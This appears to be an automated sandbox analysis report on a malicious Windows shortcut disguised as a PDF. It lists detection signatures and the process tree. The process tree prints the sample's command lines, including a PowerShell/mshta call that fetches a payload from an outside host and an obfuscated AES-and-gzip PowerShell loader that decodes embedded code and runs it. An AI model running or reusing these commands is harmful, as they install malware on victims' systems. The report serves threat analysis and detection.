Edit tour
Windows
Analysis Report
filepdf.pdf.lnk.download.lnk
Overview
General Information
| Sample name: | filepdf.pdf.lnk.download.lnk |
| Analysis ID: | 1560897 |
| MD5: | 25840bfeb06a9efbd1494278daf47d51 |
| SHA1: | 30379cfd8c42b5f9e4fc8bf5515fd7aca444fe96 |
| SHA256: | a06aa1b7dae18601bae1fe1d840fcd0cfd8198d7ae12e29214eccc3bcd082a1c |
| Tags: | lnkukr-netdigitalhub--prouser-JAMESWT_MHT |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
Yara detected Powershell download and execute
AI detected suspicious sample
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Machine Learning detection for sample
Powershell drops PE file
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Suspicious powershell command line found
Uses an obfuscated file name to hide its real file extension (double extension)
Windows shortcut file (LNK) contains suspicious command line arguments
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to detect virtual machines (SLDT)
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evaded block containing many API calls
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Gzip Archive Decode Via PowerShell
Sigma detected: Use Short Name Path in Command Line
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
powershell.exe (PID: 7312 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" .(gp -pa ' HKLM:\SOF* \Clas*\App lications\ msh*e').(' PSChildNam e')http:// ukr-netdig italhub.pr o/x64dbg2 MD5: 04029E121A0CFA5991749937DD22A1D9) 
conhost.exe (PID: 7320 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
mshta.exe (PID: 7812 cmdline: "C:\Window s\system32 \mshta.exe " http://u kr-netdigi talhub.pro /x64dbg2 MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 8120 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -w 1 -ep U nrestricte d -nop $eo XTm = 'AAA AAAAAAAAAA AAAAAAAAOh RfbfB0Z9oG AoMOSgiWW1 szkJpy8tdp zZDtTrcpHQ QScNLpta75 7CP3/Lp9Gz qMSWF/7chh FbpK5jnKm5 l5GflMVIei cKnQ3tCZoP wc82rCUKi+ CN+28+YgJK XEr7fHV7bf PtkkKl/IfC V5knblgZoH jLo4alPfj3 vVP9+W9dBh O1jttLCgLM u7VdweZbJh A9uHOeLEKl pTmwZhy6SB Rt+2wZEQ+d EohArTgBqo SvdX1qI7ji xQKp5YBiIh sJS7u1Qvr/ smE9NMnRlL j8eZrE59UY +w09Wbevva CeXh61O6h2 aDTpepoYId 9+yEwU1DPB 0GqmbzCA9Q dOulsJz6fV jaGogYMrT5 S7XHNY3b3K 8Fds6PLI9R HngZogzd88 E91dJ6Cp8l 8L/0YhXqmb YzQWWtalFk ji34Qstydp rFtIIkBj5N VpQsyMwuAi rXLzRAYWUX feXCL3bsXM bhndHMmjL5 UIxljin3Qb Ic2iew7JoG 9NPIrW1cJf uakC0Y/jFA Egey3tAySe NXUsyn3/Kd n7oJodxLIw RjwHaRO3ZS EvHxH3ar96 9bzsawhe34 Ij3+d5OxiD nJyriW04WU QmnSpB1Iii K4H4ozAiv0 sv12aPGF8M 5NRhzJu5xw +dCgvgsCfF x1DUJKwQ45 ufm9okusl0 jpVx/O+uTL +C+FQgu6Pu a4CqcOdudM NHchFijnXM ID9n3adXAQ rcb1tSG8Br kp0jI3sJ2d 3eDgc5ERd3 aZTVLrVW9Y lDfWNKaNDK Y0xTYJy2El 0nQ1GJXLH9 ZEqQjU5MWZ DkryrQ2MJM kbIoRuofhd gf1Lbm0S6c GLVrPnryhn I9zO+hc3RM 1f3C+NWNNF esGiRNQ8BK hRbBeJPuKv NyofEthadp Jdc7RwBzuv cVrz8PfmhS wy+CNbj+mI RYU9mFJiv9 fT4YKiVpQs GiZxKUu';$ kPWuaVGM = 'Y1ZpbW5a Y0ZUT2xpV0 ZVd2FHbGNz S0Z6b2hBSH N5ZVg=';$g nuKIz = Ne w-Object ' System.Sec urity.Cryp tography.A esManaged' ;$gnuKIz.M ode = [Sys tem.Securi ty.Cryptog raphy.Ciph erMode]::E CB;$gnuKIz .Padding = [System.S ecurity.Cr yptography .PaddingMo de]::Zeros ;$gnuKIz.B lockSize = 128;$gnuK Iz.KeySize = 256;$gn uKIz.Key = [System.C onvert]::F romBase64S tring($kPW uaVGM);$hG gdN = [Sys tem.Conver t]::FromBa se64String ($eoXTm);$ RaRaLJdR = $hGgdN[0. .15];$gnuK Iz.IV = $R aRaLJdR;$j hyJONfqz = $gnuKIz.C reateDecry ptor();$ug CNpUbNf = $jhyJONfqz .Transform FinalBlock ($hGgdN, 1 6, $hGgdN. Length - 1 6);$gnuKIz .Dispose() ;$mNOLJITf = New-Obj ect System .IO.Memory Stream( , $ugCNpUbNf );$pvQGtg pn = New-O bject Syst em.IO.Memo ryStream;$ AjWBPWyhL = New-Obje ct System. IO.Compres sion.GzipS tream $mNO LJITf, ([I O.Compress ion.Compre ssionMode] ::Decompre ss);$AjWBP WyhL.CopyT o( $pvQGtg pn );$AjWB PWyhL.Clos e();$mNOLJ ITf.Close( );[byte[]] $AeGlbG = $pvQGtgpn .ToArray() ;$qNgJt = [System.Te xt.Encodin g]::UTF8.G etString($ AeGlbG);$q NgJt | pow ershell - MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 8132 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 1836 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" - MD5: 04029E121A0CFA5991749937DD22A1D9) 
Acrobat.exe (PID: 7100 cmdline: "C:\Progra m Files\Ad obe\Acroba t DC\Acrob at\Acrobat .exe" "C:\ Users\user ~1\AppData \Local\Tem p\x64dbg.p df" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C) 
AcroCEF.exe (PID: 7316 cmdline: "C:\Progra m Files\Ad obe\Acroba t DC\Acrob at\acrocef _1\AcroCEF .exe" --ba ckgroundco lor=167772 15 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE) - AcroCEF.exe (PID: 1624 cmdline:
"C:\Progra m Files\Ad obe\Acroba t DC\Acrob at\acrocef _1\AcroCEF .exe" --ty pe=utility --utility -sub-type= network.mo jom.Networ kService - -lang=en-U S --servic e-sandbox- type=none --log-seve rity=disab le --user- agent-prod uct="Reade rServices/ 23.6.20320 Chrome/10 5.0.0.0" - -lang=en-U S --log-fi le="C:\Pro gram Files \Adobe\Acr obat DC\Ac robat\acro cef_1\debu g.log" --m ojo-platfo rm-channel -handle=20 80 --field -trial-han dle=1636,i ,419616661 5236883836 ,168976936 2515970507 ,131072 -- disable-fe atures=Bac kForwardCa che,Calcul ateNativeW inOcclusio n,WinUseBr owserSpell Checker /p refetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE) 
WmiPrvSE.exe (PID: 6396 cmdline: C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51) 
putty.exe (PID: 5260 cmdline: "C:\Users\ user~1\App Data\Local \Temp\putt y.exe" MD5: 5EFEF6CC9CD24BAEEED71C1107FC32DF)
svchost.exe (PID: 8000 cmdline: C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||